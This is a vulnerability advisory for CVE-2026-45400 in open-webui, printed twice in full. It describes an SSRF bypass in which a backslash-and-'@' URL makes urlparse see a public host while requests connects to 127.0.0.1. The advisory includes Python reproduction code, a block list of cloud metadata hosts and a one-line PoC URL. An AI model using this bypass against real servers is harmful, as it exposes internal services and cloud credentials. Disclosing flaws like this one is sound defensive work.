CVE-2026-45400

### Summary In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability. ### Details In the current project, URL validation is performed using the function validate_url. <img width="1323" height="1145" alt="QQ20260322-202854-22-1" src="https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47" /> The current checking logic uses urlparse to parse the hostname part of the URL for verification. <img width="1122" height="429" alt="QQ20260322-203014-22-2" src="https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88" /> However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request. <img width="1269" height="915" alt="QQ20260322-203122-22-3" src="https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b" /> The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to: - `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public) - `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal) Below is a test code I wrote following the open-webui code. ``` from __future__ import annotations import ipaddress import logging import os import socket import urllib.parse import urllib.request from typing import Optional, Sequence, Union import requests log = logging.getLogger(__name__) # Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL INVALID_URL = ( "Oops! The URL you provided is invalid. Please double-check and try again." ) # Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST) ENABLE_RAG_LOCAL_WEB_FETCH = ( os.getenv("ENABLE_RAG_LOCAL_WEB_FETCH", "False").lower() == "true" ) _DEFAULT_WEB_FETCH_FILTER_LIST = [ "!169.254.169.254", "!fd00:ec2::254", "!metadata.google.internal", "!metadata.azure.com", "!100.100.100.200", ] _web_fetch_filter_env = os.getenv("WEB_FETCH_FILTER_LIST", "") if _web_fetch_filter_env == "": _web_fetch_filter_env_list: list[str] = [] else: _web_fetch_filter_env_list = [ item.strip() for item in _web_fetch_filter_env.split(",") if item.strip() ] WEB_FETCH_FILTER_LIST = list( set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list) ) def get_allow_block_lists(filter_list): allow_list = [] block_list = [] if filter_list: for d in filter_list: if d.startswith("!"): block_list.append(d[1:].strip()) else: allow_list.append(d.strip()) return allow_list, block_list def is_string_allowed( string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None ) -> bool: if not filter_list: return True allow_list, block_list = get_allow_block_lists(filter_list) strings = [string] if isinstance(string, str) else list(string) if allow_list: if not any(s.endswith(allowed) for s in strings for allowed in allow_list): return False if any(s.endswith(blocked) for s in strings for blocked in block_list): return False return True def resolve_hostname(hostname): # Get address information addr_info = socket.getaddrinfo(hostname, None) # Extract IP addresses from address information ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET] ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6] return ipv4_addresses, ipv6_addresses def _validators_url_accept(url: str) -> bool: """ Stand-in for python-validators url(): True if string looks like http(s) URL with host. """ try: u = url.strip() if not u: return False p = urllib.parse.urlparse(u) if p.scheme not in ("http", "https"): return False if not p.netloc: return False return True except Exception: return False def _ipv4_private(ip: str) -> bool: try: a = ipaddress.ip_address(ip) return a.version == 4 and a.is_private except ValueError: return False def _ipv6_private(ip: str) -> bool: try: a = ipaddress.ip_address(ip) return a.version == 6 and a.is_private except ValueError: return False def validate_url(url: Union[str, Sequence[str]]): if isinstance(url, str): if not _validators_url_accept(url): raise ValueError(INVALID_URL) parsed_url = urllib.parse.urlparse(url) # Protocol validation - only allow http/https if parsed_url.scheme not in ["http", "https"]: log.warning( f"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}" ) raise ValueError(INVALID_URL) # Blocklist check using unified filtering logic if WEB_FETCH_FILTER_LIST: if not is_string_allowed(url, WEB_FETCH_FILTER_LIST): log.warning(f"URL blocked by filter list: {url}") raise ValueError(INVALID_URL) if not ENABLE_RAG_LOCAL_WEB_FETCH: # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses parsed_url = urllib.parse.urlparse(url) # Get IPv4 and IPv6 addresses ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname) # Check if any of the resolved addresses are private # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader for ip in ipv4_addresses: if _ipv4_private(ip): raise ValueError(INVALID_URL) for ip in ipv6_addresses: if _ipv6_private(ip): raise ValueError(INVALID_URL) return True elif isinstance(url, Sequence): return all(validate_url(u) for u in url) else: return False if __name__ == "__main__": logging.basicConfig(level=logging.INFO) # url = "https://127.0.0.1:6666\@1.1.1.1" url = "https://127.0.0.1:6666" validate_url(url) response = requests.get(url) print(response.text) ``` As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it. <img width="1428" height="273" alt="QQ20260322-203503-22-4" src="https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f" /> However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass. <img width="2255" height="786" alt="QQ20260322-203750-22-5" src="https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1" /> ### PoC ``` http://127.0.0.1:6666\@baidu.com ``` ### Impact SSRF

### Summary In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability. ### Details In the current project, URL validation is performed using the function validate_url. <img width="1323" height="1145" alt="QQ20260322-202854-22-1" src="https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47" /> The current checking logic uses urlparse to parse the hostname part of the URL for verification. <img width="1122" height="429" alt="QQ20260322-203014-22-2" src="https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88" /> However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validate_url is used first for URL validation, and then requests.get is used to send the request. <img width="1269" height="915" alt="QQ20260322-203122-22-3" src="https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b" /> The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to: - `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public) - `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal) Below is a test code I wrote following the open-webui code. ``` from __future__ import annotations import ipaddress import logging import os import socket import urllib.parse import urllib.request from typing import Optional, Sequence, Union import requests log = logging.getLogger(__name__) # Same text as open_webui.constants.ERROR_MESSAGES.INVALID_URL INVALID_URL = ( "Oops! The URL you provided is invalid. Please double-check and try again." ) # Same semantics as open_webui.config (ENABLE_RAG_LOCAL_WEB_FETCH / WEB_FETCH_FILTER_LIST) ENABLE_RAG_LOCAL_WEB_FETCH = ( os.getenv("ENABLE_RAG_LOCAL_WEB_FETCH", "False").lower() == "true" ) _DEFAULT_WEB_FETCH_FILTER_LIST = [ "!169.254.169.254", "!fd00:ec2::254", "!metadata.google.internal", "!metadata.azure.com", "!100.100.100.200", ] _web_fetch_filter_env = os.getenv("WEB_FETCH_FILTER_LIST", "") if _web_fetch_filter_env == "": _web_fetch_filter_env_list: list[str] = [] else: _web_fetch_filter_env_list = [ item.strip() for item in _web_fetch_filter_env.split(",") if item.strip() ] WEB_FETCH_FILTER_LIST = list( set(_DEFAULT_WEB_FETCH_FILTER_LIST + _web_fetch_filter_env_list) ) def get_allow_block_lists(filter_list): allow_list = [] block_list = [] if filter_list: for d in filter_list: if d.startswith("!"): block_list.append(d[1:].strip()) else: allow_list.append(d.strip()) return allow_list, block_list def is_string_allowed( string: Union[str, Sequence[str]], filter_list: Optional[list[str]] = None ) -> bool: if not filter_list: return True allow_list, block_list = get_allow_block_lists(filter_list) strings = [string] if isinstance(string, str) else list(string) if allow_list: if not any(s.endswith(allowed) for s in strings for allowed in allow_list): return False if any(s.endswith(blocked) for s in strings for blocked in block_list): return False return True def resolve_hostname(hostname): # Get address information addr_info = socket.getaddrinfo(hostname, None) # Extract IP addresses from address information ipv4_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET] ipv6_addresses = [info[4][0] for info in addr_info if info[0] == socket.AF_INET6] return ipv4_addresses, ipv6_addresses def _validators_url_accept(url: str) -> bool: """ Stand-in for python-validators url(): True if string looks like http(s) URL with host. """ try: u = url.strip() if not u: return False p = urllib.parse.urlparse(u) if p.scheme not in ("http", "https"): return False if not p.netloc: return False return True except Exception: return False def _ipv4_private(ip: str) -> bool: try: a = ipaddress.ip_address(ip) return a.version == 4 and a.is_private except ValueError: return False def _ipv6_private(ip: str) -> bool: try: a = ipaddress.ip_address(ip) return a.version == 6 and a.is_private except ValueError: return False def validate_url(url: Union[str, Sequence[str]]): if isinstance(url, str): if not _validators_url_accept(url): raise ValueError(INVALID_URL) parsed_url = urllib.parse.urlparse(url) # Protocol validation - only allow http/https if parsed_url.scheme not in ["http", "https"]: log.warning( f"Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}" ) raise ValueError(INVALID_URL) # Blocklist check using unified filtering logic if WEB_FETCH_FILTER_LIST: if not is_string_allowed(url, WEB_FETCH_FILTER_LIST): log.warning(f"URL blocked by filter list: {url}") raise ValueError(INVALID_URL) if not ENABLE_RAG_LOCAL_WEB_FETCH: # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses parsed_url = urllib.parse.urlparse(url) # Get IPv4 and IPv6 addresses ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname) # Check if any of the resolved addresses are private # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader for ip in ipv4_addresses: if _ipv4_private(ip): raise ValueError(INVALID_URL) for ip in ipv6_addresses: if _ipv6_private(ip): raise ValueError(INVALID_URL) return True elif isinstance(url, Sequence): return all(validate_url(u) for u in url) else: return False if __name__ == "__main__": logging.basicConfig(level=logging.INFO) # url = "https://127.0.0.1:6666\@1.1.1.1" url = "https://127.0.0.1:6666" validate_url(url) response = requests.get(url) print(response.text) ``` As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it. <img width="1428" height="273" alt="QQ20260322-203503-22-4" src="https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f" /> However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validate_url is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass. <img width="2255" height="786" alt="QQ20260322-203750-22-5" src="https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1" /> ### PoC ``` http://127.0.0.1:6666\@baidu.com ``` ### Impact SSRF